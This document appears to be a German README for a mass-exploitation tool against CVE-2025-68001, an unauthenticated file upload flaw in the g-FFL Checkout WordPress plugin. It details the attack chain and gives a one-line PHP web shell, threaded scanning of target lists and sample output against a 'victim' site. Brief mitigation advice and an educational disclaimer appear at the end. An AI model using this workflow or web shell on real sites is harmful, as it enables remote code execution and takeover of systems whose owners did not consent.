CVE-2025-68001

Das WordPress-Plugin g-FFL Checkout <= 2.1.0 ist anfällig für einen beliebigen Datei-Upload (Arbitrary File Upload) mit hoher Priorität

  _      _   _   _  _   _     _   _   _   _    
 / \  / |_ __ ) / \  ) |_ __ |_  (_) / \ / \ /|
 \_ \/  |_   /_ \_/ /_  _)   |_) (_) \_/ \_/  |
                                                 

📋 Übersicht

CVE-2025-68001 ist eine kritische Schwachstelle für nicht authentifizierten beliebigen Datei-Upload (Unauthenticated Arbitrary File Upload), die im g-FFL Checkout-WordPress-Plugin von garidium entdeckt wurde.

Die Schwachstelle ermöglicht es einem nicht authentifizierten Remote-Angreifer, über die AJAX-Aktion ffl_upload_document beliebige Dateien — einschließlich Web-Shells — auf den Zielserver hochzuladen, was zu vollständiger Remote Code Execution (RCE) führt.

⚙️ Funktionsweise

Der Exploit folgt einer präzisen mehrstufigen Angriffskette:

1. GET /checkout
      ↓
   Extract `checkout_nonce` from inline JavaScript data

2. POST /wp-admin/admin-ajax.php
      action=ffl_upload_document
      nonce=<extracted_nonce>
      document_type=document
      document=<shell.php disguised as image/png>
      ↓
   Server stores the file without extension or MIME validation

3. Parse JSON response
      ↓
   Extract uploaded file path / unique filename

4. Access uploaded shell via HTTP
      ↓
   Remote Code Execution achieved ✔️

Das Plugin stellt einen AJAX-Endpunkt ffl_upload_document bereit, der:

• Datei-Uploads ohne Authentifizierungsprüfung akzeptiert
• Keine serverseitige Dateitypprüfung durchführt
• Den gespeicherten Dateipfad in seiner JSON-Antwort zurückgibt

🔧 Voraussetzungen

Installiere alle Abhängigkeiten, bevor du das Skript ausführst:

pip install requests rich

Python 3.8+ ist erforderlich.

📂 Dateistruktur

CVE-2025-68001/
├── CVE-2025-68001.py       # Main exploit script
├── shell.php               # Web shell to upload (you provide this)
├── list.txt                # Target URLs (one per line)
└── success_results.txt     # Auto-generated results output

🚀 Verwendung

Schritt 1 — Bereite deine Ziele vor

Erstelle eine Datei list.txt mit einer Ziel-URL pro Zeile:

https://target1.com
https://target2.com
http://target3.com/wordpress

Das Skript fügt automatisch http:// hinzu, wenn kein Schema angegeben ist.

Schritt 2 — Bereite deine Shell vor

Lege deine PHP-Web-Shell in dasselbe Verzeichnis. Beispiel für eine minimale Shell:

<?php system($_GET['cmd']); ?>

Speichere sie als shell.php (oder unter einem beliebigen Namen — du wirst aufgefordert, ihn einzugeben).

Schritt 3 — Führe den Exploit aus

python CVE-2025-68001.py

Du wirst interaktiv aufgefordert:

Enter targets file name (default: list.txt):
> list.txt

Enter shell file name to upload (default: shell.php):
> shell.php

Enter number of threads (default: 50):
> 20

Schritt 4 — Ergebnisse überprüfen

Erfolgreiche Exploits werden automatisch in success_results.txt gespeichert:

https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php

Jede Zeile enthält:

• Ziel-URL
• Gespeicherter Dateipfad auf dem Server
• Vom Server vergebener eindeutiger Dateiname
• Ursprünglicher hochgeladener Dateiname

🖥️ Referenz der Skriptparameter

📊 Beispielausgabe

✔  https://victim.com  — /checkout reachable. Trying exploit...

┌─────────────────────────────────────────────────────┐
│                      Success                        │
│  https://victim.com                                 │
│  Original Name:  shell.php                          │
│  Unique Name:    a7f3c1d9e.php                      │
│  Stored Path:    /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘

All targets processed ✔️. Results saved to: success_results.txt

🔍 Angreifbarer Codepfad (technisch)

Die Schwachstelle befindet sich im AJAX-Handler des Plugins, der ohne Berechtigungsprüfung registriert wird:

// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');

function ffl_upload_document() {
    // Nonce verified from /checkout page (publicly accessible)
    // No MIME type validation
    // No extension whitelist/blacklist
    move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
    wp_send_json_success(['file_path' => $upload_path]);
}

🛡️ Gegenmaßnahmen & Behebung

Wenn du Website-Betreiber oder Entwickler bist, ergreife sofort die folgenden Maßnahmen:

• ✅ Aktualisiere das Plugin g-ffl-checkout auf eine gepatchte Version (> 2.1.0), falls verfügbar
• ✅ Deaktiviere das Plugin, bis ein Patch bestätigt ist
• ✅ Beschränke die Ausführungsrechte in Upload-Verzeichnissen (z. B. .htaccess-Regeln)
• ✅ Implementiere eine serverseitige Dateitypprüfung und eine strenge Whitelist für Dateierweiterungen
• ✅ Überwache Upload-Verzeichnisse auf verdächtige .php-Dateien
• ✅ Aktiviere WAF-Regeln, um nicht authentifizierte AJAX-Datei-Upload-Anfragen zu blockieren

⚠️ Haftungsausschluss

DIESES TOOL WIRD AUSSCHLIESSLICH FÜR BILDUNGSZWECKE UND AUTORISIERTE
SICHERHEITSFORSCHUNG BEREITGESTELLT.

Mit der Nutzung dieses Skripts stimmst du ausdrücklich Folgendem zu: